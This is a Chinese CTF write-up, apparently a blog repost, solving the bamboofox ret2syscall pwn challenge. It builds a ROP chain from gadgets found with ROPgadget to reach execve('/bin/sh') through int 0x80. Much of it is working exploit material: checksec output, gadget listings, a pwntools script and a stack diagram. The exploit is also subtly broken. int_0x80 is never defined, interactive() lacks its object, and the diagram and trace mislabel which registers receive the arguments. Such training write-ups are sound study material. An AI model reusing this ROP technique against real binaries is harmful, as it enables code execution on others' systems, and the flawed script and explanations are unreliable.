好好说话之ret2syscall

题目路径:

/ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall

看C代码

#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    printf("This time, no system() and NO SHELLCODE!!!\n");
    printf("What do you plan to do?\n");
    gets(buf);
    return 0;
}

一、分析程序

checksec检查一下程序的保护机制

$ checksec rop
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

检查发现是32位程序,开启了NX保护,使用IDA查看一下程序main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

二、溢出思路

依然还是通过gets函数进行函数输入,gets函数对输入长度没有限制,所以这是一个溢出点,同样的距离栈顶esp指针0x1c,距离栈底ebp指针0x64,可以算出输入字符起始位置距离ret返回地址0x6C+4个字节(ret2text有具体计算过程)

由于开启了NX保护,也就是说不能把自己写的shellcode部署到内存当中。由于C代码中没有系统函数,也不可以调用程序本身的函数,不过可以利用程序本身自带的*shell = "/bin/sh"做文章。这个时候就需要利用程序中的gadget来获取shell。

这个时候需要运用汇编中的int中断,中断是指CPU不再接着向下执行,而是转去处理这个特殊信息,这个特殊信息可以是CPU外部发过来的或内部产生的一种特殊信息,CPU在收到中断信息后,应该转去执行该中断信息的处理程序。发生中断时, CPU会收到中断信息,中断信息中包含有标识中断源的类型码,通过中断类型码可以在中断向量表中找到对应的中断处理程序的入口地址。对于8086pc机,中断向量表指定放在内存地址的0处。中断处理完成后,CPU会去执行前面发生中断指令的对应的下一跳指令,所以发生中断时要先保存当前程序的运行环境,再跳到中断处理程序。

当执行 int 0x80后,系统就从用户态切换到内核态,并跳转到了 0x80 中断向量号 对应的中断向量服务程序 system_call,该服务程序的代码位置是:/linux-3.18.6/arch/x86/kernel/entry_ 32.S 文件中的 490 行处的 ENTRY(system_call)。只要把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用

execve("/bin/sh",NULL,NULL)

如果使用execve这个调用来进行获取shell,接下来就需要去找四个参数分别放在eax、ebx、ecx、edx中:

  • execve系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

接下来需要寻找gadget来进行pop操作,将参数放到寄存器中,但是不一定一段连续的代码可以同时控制对应的寄存器,多以需要一段一段控制,所以在gadget中还需要使用ret来再次控制程序执行流程。所以可以使用ropgadgets工具进行查找gadget

首先是寻找控制eax的gadget

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall$ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以选用第二个作为eax的gadget

0x080bb196 : pop eax ; ret

接下来寻找ebx的gadget

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall$ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

可以选用:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

接下来需要获取/bin/sh字符串对应的地址

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall$ ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

最后需要找execve对应的系统调用号,在前面系统调用号文章中可以找到是0xb

三、EXP

所有需要的都已经找到,exp:

from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_pop_ecx_pop_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
payload = flat('hollkdig'*14, pop_eax_ret, 0xb, pop_edx_pop_ecx_pop_ebx_ret, 0, 0, bin_sh, int_0x80)
sh.sendline(payload)
interactive()

四、栈布局

payload栈中部署:

                       +---------------------------+
                       |         int_0x80          | int_0x80指令部署(等待被执行)
                       +---------------------------+
                       |          bin_sh           | execve第一个参数部署(等待pop到edx中)
                       +---------------------------+
                       |            0              | execve第二个参数部署(等待pop到ecx中)
                       +---------------------------+
                       |            0              | execve第三个参数部署(等待pop到ebx中)
                       +---------------------------+
                       |pop_edx_pop_ecx_pop_ebx_ret| 执行pop ebx、ecx、edx ret地址
                       +---------------------------+
                       |           0xb             | 系统调用号部署(等待pop到eax寄存器中) 
                       +---------------------------+
                       |       pop_eax_ret         | 执行pop eax ret地址,覆盖原ret返回位置
                       +---------------------------+
                       |           kdig            | 'hollkdig'覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |           holl            | 'hollkdig'占位填满栈空间
                       |           ....            | 'hollkdig'占位填满栈空间
                       |           kdig            | 'hollkdig'占位填满栈空间
                       |           holl            | 'hollkdig'占位填满栈空间
                       |           kdig            | 'hollkdig'占位填满栈空间
                       |           holl            | 'hollkdig'占位填满栈空间
  v4终止位置,ebp-0x64-->+---------------------------+

执行流程:

eip ---> pop_eax_ret gadget地址(由于pop_eax_ret覆盖了原ret地址,所以eip指向gadget并执行)
esp ---> 0xb								(此时esp指向部署到栈中的0xb)
eax = 0xb										(pop eax后将0xb压入eax寄存器)
eip ---> pop_edx_pop_ecx_pop_ebx_ret gadget地址  
														(由于pop eax结束后进行ret操作,所以eip继续指向第二个gadget并执行)
esp ---> 0									(此时esp指向部署到栈中的execve第三个参数0)
ebx = 0											(pop ebx后将0压入ebx寄存器)
esp ---> 0									(此时esp指向部署到栈中的execve第三个参数0)
ecx = 0											(pop ecx后将0压入ecx寄存器)
esp ---> bin_sh地址			 		 (此时esp指向部署到栈中的execve第三个参数bin_sh地址)
edx = bin_sh地址					   (pop edx后将bin_sh地址压入eax寄)
执行int_0x80                 (由于执行完pop ebx、ecx、edx后进行ret操作,所以eip指向最后的int)

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913384